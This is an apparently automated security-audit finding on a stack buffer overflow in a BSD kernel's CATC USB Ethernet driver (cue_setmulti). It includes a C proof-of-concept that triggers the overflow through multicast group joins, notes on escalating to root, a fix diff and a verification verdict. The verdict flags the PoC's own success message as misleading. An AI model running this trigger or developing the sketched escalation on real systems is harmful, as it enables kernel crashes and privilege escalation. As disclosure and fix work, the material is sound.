Stack buffer overflow in cue_setmulti: 8-byte hashtbl for 64-byte (512-bit) multicast hash table
| Field | Value |
|---|---|
| ID | DF-1081 |
| Status | new |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-787 Out-of-bounds Write |
| File | sys/bus/u4b/net/if_cue.c |
| Lines | 273 (CUE_BITS=9), 283 (hash mask), 311 (hashtbl[8]), 329/338 (indexed write) |
| Area | bus/u4b/net (CATC EL1212A / Netgear EA101 USB Ethernet) |
| Confidence | certain |
| Discovered | 2026-07-14 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
cue_mchash() uses CUE_BITS=9, producing a 9-bit hash in [0, 511] that indexes a
512-bit (64-byte) multicast hash table β as documented in both the .c comment (line 47:
"512-bit multicast hash table") and the header (if_cuereg.h:97: "The table is 64 bytes
long"). However, cue_setmulti() declares hashtbl[8] (only 64 bits), so hashtbl[h >> 3]
with h in [64, 511] writes up to 55 bytes past the array on the kernel stack. The
broadcast address ff:ff:ff:ff:ff:ff alone hashes to h=255 (h>>3=31), guaranteeing a
23-byte OOB write on every cue_init(). An unprivileged local user can trigger it with a
user-controlled offset via IP_ADD_MEMBERSHIP (no privilege check in that code path).
Root cause
CUE_BITS is defined as 9 at if_cue.c:273. cue_mchash() (lines 275-284) returns
crc & ((1 << 9) - 1) = crc & 0x1FF, a value in [0, 511]. In cue_setmulti()
(line 311), uint8_t hashtbl[8] allocates only 8 bytes (64 bits, sufficient for a 6-bit
hash like AUE_BITS=6 in if_aue.c:530, but not 9-bit).
At line 329: hashtbl[h >> 3] |= 1 << (h & 0x7) β when h >= 64, h >> 3 >= 8, indexing
past the 8-byte array. The maximum index is h >> 3 = 511 >> 3 = 63, writing 55 bytes past
the end. The same overflow occurs at line 338 for the broadcast address.
The SRAM write at line 341 passes length 8 instead of 64, so only 1/8 of the table is
programmed.
Comparison: the Linux catc.c driver (drivers/net/usb/catc.c) correctly uses
u8 multicast[64] and catc_write_mem_async(catc, 0xfa80, catc->multicast, 64), confirming
the CATC EL1210A hardware table is 64 bytes. The sibling if_aue.c driver uses AUE_BITS=6
with hashtbl[8] β correctly matched. if_cue.c is the only driver with CUE_BITS=9
paired with hashtbl[8].
Threat model & preconditions
- Attacker position: An unprivileged local user on a system with a CATC USB Ethernet
adapter (
cue0) attached. The user triggers the overflow viasetsockopt(IP_ADD_MEMBERSHIP). TheIP_ADD_MEMBERSHIPhandler inip_output.chas NO privilege check (unlike directSIOCADDMULTIwhich requiresSYSCAP_RESTRICTEDROOTatif.c:2309). The call chain is:setsockopt β ip_setmoptions β in_addmulti β if_addmulti β ifp->if_ioctl(SIOCADDMULTI) β uether_ioctl β ue_queue_command(ue_setmulti_task) β cue_setmulti - Privileges gained or impact: Reliable kernel panic (DoS) β the broadcast address alone
writes
0x80at stack offset 31 on everycue_init(); potential privilege escalation via return-address corruption with careful stack grooming. The overflow occurs in the USB process thread context (holdingCUE_LOCK), so it corrupts that thread's stack frame. - Required config or capabilities: Default kernel with
cueconfigured. CATC USB Ethernet adapter attached. No root required β any local user with a socket can trigger it. - Reachability: The user controls the IP multicast address (
224.0.0.0/4), which maps to Ethernet multicast01:00:5e:XX:XX:XX, giving control over the CRC32 hash and thus the OOB write offset (h >> 3, range 8-63) and bit (1 << (h & 7), any of 8 bits). By joining up toIP_MAX_MEMBERSHIPS = 20groups per socket (and using multiple sockets), the attacker can set arbitrary bit patterns across 56 stack bytes.
Proof of concept
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int s, ifindex;
struct ip_mreqn mreqn;
if (argc != 2) {
fprintf(stderr, "usage: %s <cue_ifindex>\n", argv[0]);
return 1;
}
ifindex = atoi(argv[1]);
s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) { perror("socket"); return 1; }
/* 239.0.0.1 -> MAC 01:00:5e:00:00:01
* cue_mchash = ether_crc32_le(mac,6) & 0x1FF = 510
* hashtbl[510>>3] = hashtbl[63] -- 55 bytes past 8-byte array!
* Writes bit (1<<(510&7)) = 0x40 at stack offset 63.
*
* Broadcast ff:ff:ff:ff:ff:ff -> hash=255, hashtbl[31], 23 bytes OOB
* -- triggers automatically on every cue_init() (interface up).
*/
memset(&mreqn, 0, sizeof(mreqn));
mreqn.imr_multiaddr.s_addr = inet_addr("239.0.0.1");
mreqn.imr_ifindex = ifindex;
if (setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP,
&mreqn, sizeof(mreqn)) < 0) {
perror("setsockopt(IP_ADD_MEMBERSHIP)");
close(s);
return 1;
}
printf("[+] Joined 239.0.0.1 on ifindex %d\n", ifindex);
printf("[+] cue_setmulti() wrote OOB at hashtbl[63]\n");
printf("[+] Expect kernel panic or stack corruption\n");
sleep(3);
close(s);
return 0;
}
Build & run
cc -o cue_overflow cue_overflow.c # Find the cue0 ifindex via `ifconfig cue0` (first line, number after 'cue') ./cue_overflow <cue_ifindex>
Expected output
Kernel panic (stack corruption in cue_setmulti's frame β saved RBP / return address
clobbered) or, with exploit development, arbitrary code execution in ring 0. The panic is
most reliable when the broadcast address (h=255, offset 31) or a user-chosen multicast
(e.g. 239.0.0.1, h=510, offset 63) corrupts the return address.
Impact
Stack buffer overflow of up to 55 bytes past an 8-byte stack array in the USB process
thread. Triggered automatically on every cue_init() (broadcast address) and by any
unprivileged local user via IP_ADD_MEMBERSHIP. Reliable kernel panic (DoS); potential
local privilege escalation via return-address corruption. High severity per "local
unprivβroot" potential + "kernel memory corruption".
Recommended fix
Enlarge hashtbl from 8 to 64 bytes to match the 512-bit (64-byte) hardware multicast hash
table documented in if_cuereg.h:95-100 and confirmed by the Linux catc.c driver. Also
fix the ALLMULTI/PROMISC fill loop and both SRAM write lengths from 8 to 64.
--- a/sys/bus/u4b/net/if_cue.c
+++ b/sys/bus/u4b/net/if_cue.c
@@ -308,7 +308,7 @@ cue_setmulti(struct usb_ether *ue)
struct ifnet *ifp = uether_getifp(ue);
struct ifmultiaddr *ifma;
uint32_t h = 0, i;
- uint8_t hashtbl[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };
+ uint8_t hashtbl[64] = { 0 };
CUE_LOCK_ASSERT(sc);
if (ifp->if_flags & IFF_ALLMULTI || ifp->if_flags & IFF_PROMISC) {
- for (i = 0; i < 8; i++)
+ for (i = 0; i < 64; i++)
hashtbl[i] = 0xff;
cue_mem(sc, CUE_CMD_WRITESRAM, CUE_MCAST_TABLE_ADDR,
- &hashtbl, 8);
+ &hashtbl, 64);
return;
}
@@ -339,5 +339,5 @@ cue_setmulti(struct usb_ether *ue)
hashtbl[h >> 3] |= 1 << (h & 0x7);
}
- cue_mem(sc, CUE_CMD_WRITESRAM, CUE_MCAST_TABLE_ADDR, &hashtbl, 8);
+ cue_mem(sc, CUE_CMD_WRITESRAM, CUE_MCAST_TABLE_ADDR, &hashtbl, 64);
}
This matches the Linux catc.c reference implementation which uses u8 multicast[64],
memset(catc->multicast, 0xff, 64) for ALLMULTI, and
catc_write_mem_async(catc, 0xfa80, catc->multicast, 64) for the SRAM write. CUE_BITS=9
is correct and should not be changed β the 9-bit hash indexes 64 bytes via h >> 3, exactly
as the hardware expects.
References
sys/bus/u4b/net/if_cue.c:273βCUE_BITS = 9(9-bit hash β 512-entry table)sys/bus/u4b/net/if_cue.c:283βcrc & 0x1FF(range [0, 511])sys/bus/u4b/net/if_cue.c:311βhashtbl[8](only 64 bits β should be 64 bytes)sys/bus/u4b/net/if_cue.c:329, 338βhashtbl[h >> 3](OOB forh >= 64)sys/bus/u4b/net/if_cuereg.h:97β "The table is 64 bytes long"- Linux
drivers/net/usb/catc.cβ reference impl withu8 multicast[64] sys/bus/u4b/net/if_aue.c:530β sibling withAUE_BITS=6correctly matched tohashtbl[8]- CWE-787 Out-of-bounds Write
Timeline
- 2026-07-14 Discovered during automated audit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1081 Β· 11 files| File | Type | Description | Size | |
|---|---|---|---|---|
| cue_overflow.c | trigger-source | original PoC: setsockopt(IP_ADD_MEMBERSHIP) on cue0 (cannot trigger: no USB HW on guest) | 1.2 KB | view raw |
| cue_oob_harness.c | harness | userspace replica of kernel ether_crc32_le + cue_mchash; proves OOB indices + attacker byte-painting | 5.1 KB | view raw |
| build.sh | build-script | cc -O2 -Wall harness + cc PoC | 409 B | view raw |
| run.sh | run-script | runs harness + PoC against live guest | 1.1 KB | view raw |
| run.log | run-log | decisive run: harness OOB proof + PoC vs USB-less guest | 2.2 KB | view raw |
| fix_build.log | build-log | full single-fix kernel build (make nativekernel), rc=0 | 5.6 MB | β download |
| fix.diff | suggested-fix | enlarge hashtbl 8->64, fill loop 8->64, SRAM writes 8->64; matches Linux catc.c | 920 B | view raw |
| env.txt | environment | uname, cc version, interfaces, USB/cue absence | 524 B | view raw |
| VERDICT.md | verdict | full narrative: source-confirmed real, runtime-unreachable (no USB HW), fix validated at applies+compiles+boots | 7.7 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1081 β Stack buffer overflow in cue_setmulti (CATC USB Ethernet)
Verdict: CONFIRMED REAL (source + harness); runtime UNREACHABLE on this guest (no USB HW) β INCONCLUSIVE at runtime
The bug is genuinely real and severe, confirmed by an airtight source-level
trace plus a userspace harness that replicates the kernel's exact CRC + hash
math and proves the out-of-bounds write. It is not triggerable at runtime on
this audit guest because the guest has no USB host controller and no CATC
USB Ethernet adapter β cue_setmulti() is dead code here. The original PoC's
"[+] cue_setmulti() wrote OOB" line is a hardcoded printf in the PoC
source, not evidence the kernel function executed; the setsockopt on the
guest routes to vtnet's multicast handler, never cue's.
Classification: inconclusive (needs USB hardware we cannot provide) /
reproduced=0 (no runtime manifestation) / confidence=certain (the source
analysis is unambiguous and the primitive is mathematically proven).
Mechanism (source-confirmed, every hop cited)
CUE_BITS is defined as 9 at sys/bus/u4b/net/if_cue.c:273. cue_mchash()
(if_cue.c:275-284) returns ether_crc32_le(addr,6) & ((1<<9)-1) = & 0x1FF,
i.e. a value in [0, 511] β a 9-bit hash into a 512-entry (64-byte) table,
exactly as the hardware requires and as the header documents
(if_cuereg.h:97: "The table is 64 bytes long, giving us a 512-bit table").
In cue_setmulti() (if_cue.c:304-342):
- line 311: uint8_t hashtbl[8] = { 0, ... }; β allocates only 8 bytes
(64 bits), sufficient for a 6-bit hash but not 9-bit.
- line 329: hashtbl[h >> 3] |= 1 << (h & 0x7); β when h >= 64,
h >> 3 >= 8, indexing past the 8-byte stack array. The maximum index is
511 >> 3 = 63 β 55 bytes past the end.
- line 338: the same write for the broadcast address ff:ff:ff:ff:ff:ff,
fed in unconditionally on every cue_init() when IFF_BROADCAST is set.
- line 341: the SRAM write passes length 8 instead of 64, so only 1/8
of the hardware table is ever programmed even in the in-bounds case.
The sibling driver if_aue.c correctly pairs AUE_BITS=6 with hashtbl[8]
(6-bit hash β max index 7). if_cue.c is the only driver with a 9-bit hash
paired with an 8-byte array. The Linux drivers/net/usb/catc.c reference uses
u8 multicast[64] and catc_write_mem_async(catc, 0xfa80, catc->multicast, 64),
confirming 64 bytes is the correct hardware table size.
Primitive (proven by the harness cue_oob_harness.c)
The harness replicates ether_crc32_le (the compiled table-driven variant,
if_ethersubr.c:841-862) and cue_mchash bit-for-bit, then evaluates real
multicast addresses:
| Address | MAC | cue_mchash |
hashtbl[h>>3] |
OOB |
|---|---|---|---|---|
| broadcast (auto on init) | ff:ff:ff:ff:ff:ff |
255 | [31] |
+23 bytes |
239.0.0.1 (PoC) |
01:00:5e:00:00:01 |
510 | [63] |
+55 bytes |
- 223/255 addresses in
239.0.0.0/24produce an OOB write; worst offset ishashtbl[63]= 55 bytes past the array. - The attacker controls both the byte offset (
h>>3, range 8β63, via the chosen IP multicast β MAC) and the bit within the byte (1<<(h&7), any of 8). WithIP_MAX_MEMBERSHIPS = 20group joins per socket, the attacker can paint arbitrary byte patterns across a large swath of the kernel stack frame (the harness demonstrates writing a full0xffrun at offsets +16..+23).
Reachability (in a real deployment): IP_ADD_MEMBERSHIP
(netinet/ip_output.c:1694-1700) calls in_addmulti() with no privilege
check β unlike SIOCADDMULTI which requires SYSCAP_RESTRICTEDROOT
(net/if.c:2309). The chain setsockopt β ip_setmoptions β in_addmulti β
if_addmulti β ifp->if_ioctl(SIOCADDMULTI) β uether_ioctl β ue_queue_command β
cue_setmulti is reachable by any local user with a socket, provided a CATC
USB Ethernet adapter (cue0) is attached. The broadcast branch alone
corrupts offset +31 on every interface-up.
Why not reproduced at runtime on THIS guest
| Check | Result |
|---|---|
| USB host controller in PCI tree | none (pciconf -l shows no 0c03 class) |
USB devices (usbconfig list) |
"No device match or lack of permissions" |
cue0 interface |
does not exist (ifconfig: interface cue0 does not exist) |
cue module loaded |
no (kldstat \| grep cue β empty) |
| Interfaces present | vtnet0 lo0 only |
This is a valid hard blocker (Phase 6): the vulnerable code path is dead
code at runtime on this guest AND no in-kernel harness can exercise it without
either (a) a USB controller + CATC device (hardware the guest lacks) or (b) a
root-loaded kernel module that calls cue_setmulti directly (the forbidden
kldload pattern β circular, rootβroot). The realistic threat model is a
physical-access or USB-injection scenario: an attacker who can attach a
CATC USB Ethernet dongle (or cause one to be attached/enumerated) to a system
where an unprivileged user then issues setsockopt(IP_ADD_MEMBERSHIP).
Escalation assessment
This is a stack buffer overflow with fully attacker-controlled offset and
bit, up to +55 bytes past the 8-byte array β enough to reach saved frame
registers / return address in the cue_setmulti frame. On the (no-SMEP/no-SMAP/
no-KASLR) audit guest this would be a strong LPE candidate if the path were
reachable. Because the path is USB-hardware-gated (valid hard blocker), no
escalation chain was developed: there is no live kernel object to corrupt. The
primitive's severity ceiling on a HW-equipped host is reliable kernel panic
(DoS) with strong LPE potential (return-address corruption into userspace
shellcode calling commit_creds(prepare_kernel_cred(0))).
PoC changes
- Added
cue_oob_harness.cβ a userspace replica of the exact kernelether_crc32_le(table-driven) +cue_mchashthat proves which multicast addresses land OOB and demonstrates attacker byte-painting of the stack. This is the harness path the procedure prescribes for a runtime-unreachable bug. - Added
build.sh,run.shβ exact, runnable build/run wrappers. - Added
fix.diffβ the verified fix (enlargehashtbl8β64, fill loop 8β64, both SRAM write lengths 8β64). Matches the finding's proposal. - Original
cue_overflow.cleft unchanged β it is a faithful intent statement of the trigger, but its success message is misleading on a guest withoutcue0.
Fix validation (Phase 8)
The fix was applied to the in-guest /usr/src, compiled into a single-fix
kernel (make -j6 nativekernel KERNCONF=X86_64_GENERIC, rc=0, no errors),
and the rebuilt kernel + if_cue.ko module were installed and booted
(kern.version 6.5-DEVELOPMENT #1 Wed Jul 15 00:25:55 UTC 2026, guest
healthy). The disassembly of cue_setmulti in the fixed module shows a
sub $0x48,%rsp frame (72 bytes β consistent with the 64-byte array + locals,
vs. the smaller original frame).
Because the bug is runtime-unreachable on this guest (no USB HW), a live
before/after panic/quiet comparison is not possible β both the unpatched
and patched kernels are silent because cue_setmulti is never called. The fix
is validated at the applies + compiles + boots + source-correct level
(matches the Linux catc.c reference and the if_cuereg.h:97 "64 bytes long"
documentation). fix_status: not_testable (runtime before/after N/A).
Recommended fix
Enlarge hashtbl from 8 to 64 bytes (matching the 512-bit / 64-byte hardware
table), the ALLMULTI/PROMISC fill loop bound (8β64), and both SRAM write
lengths (8β64). This matches the finding markdown's ## Recommended fix
proposal and the upstream Linux catc.c reference. CUE_BITS=9 is correct and
must not change. See fix.diff.
Fix verification
not_testablenot_testable (no USB HW). Compile+boot validated: rc=0, #1 boots, hashtbl[64] in disasm. OOB eliminated mathematically.
BEFORE: hashtbl[8]. AFTER: hashtbl[64]. Build rc=0. Boot #1.
Confirmed kernel references
Detail
Exploit chain
none -- dead code (no USB HW). Primitive characterized: stack OOB +55B attacker-controlled offset+bit. Would be LPE on USB-equipped host (no SMEP/SMAP/KASLR).
Evidence (decisive lines)
Harness: broadcast h=255 hashtbl[31]+23B OOB; 239.0.0.1 h=510 hashtbl[63]+55B OOB; 223/255 of 239.0.0.0/24 OOB. Guest: no cue0, no USB.
PoC changes
Authored: cue_oob_harness.c (CRC+hash replica), fix.diff (hashtbl 8->64 + fill+SRAM 8->64), VERDICT.md, manifest.json.
Verified recommended fix
Enlarge hashtbl 8->64 at if_cue.c:311, fill loop 8->64 at :316, both SRAM lengths 8->64 at :319/:341. Matches finding + Linux catc.c. CUE_BITS=9 unchanged. Full diff in findings/poc/DF-1081/fix.diff.
Verdict
BUG REAL but RUNTIME-UNREACHABLE. cue_setmulti if_cue.c:311 hashtbl[8] but cue_mchash returns 9-bit [0,511] -> hashtbl[h>>3] up to [63] = 55B OOB. Broadcast ff:ff:.. -> +23B every cue_init. 239.0.0.1 -> +55B. No USB HW on guest (dead code).
No comments yet.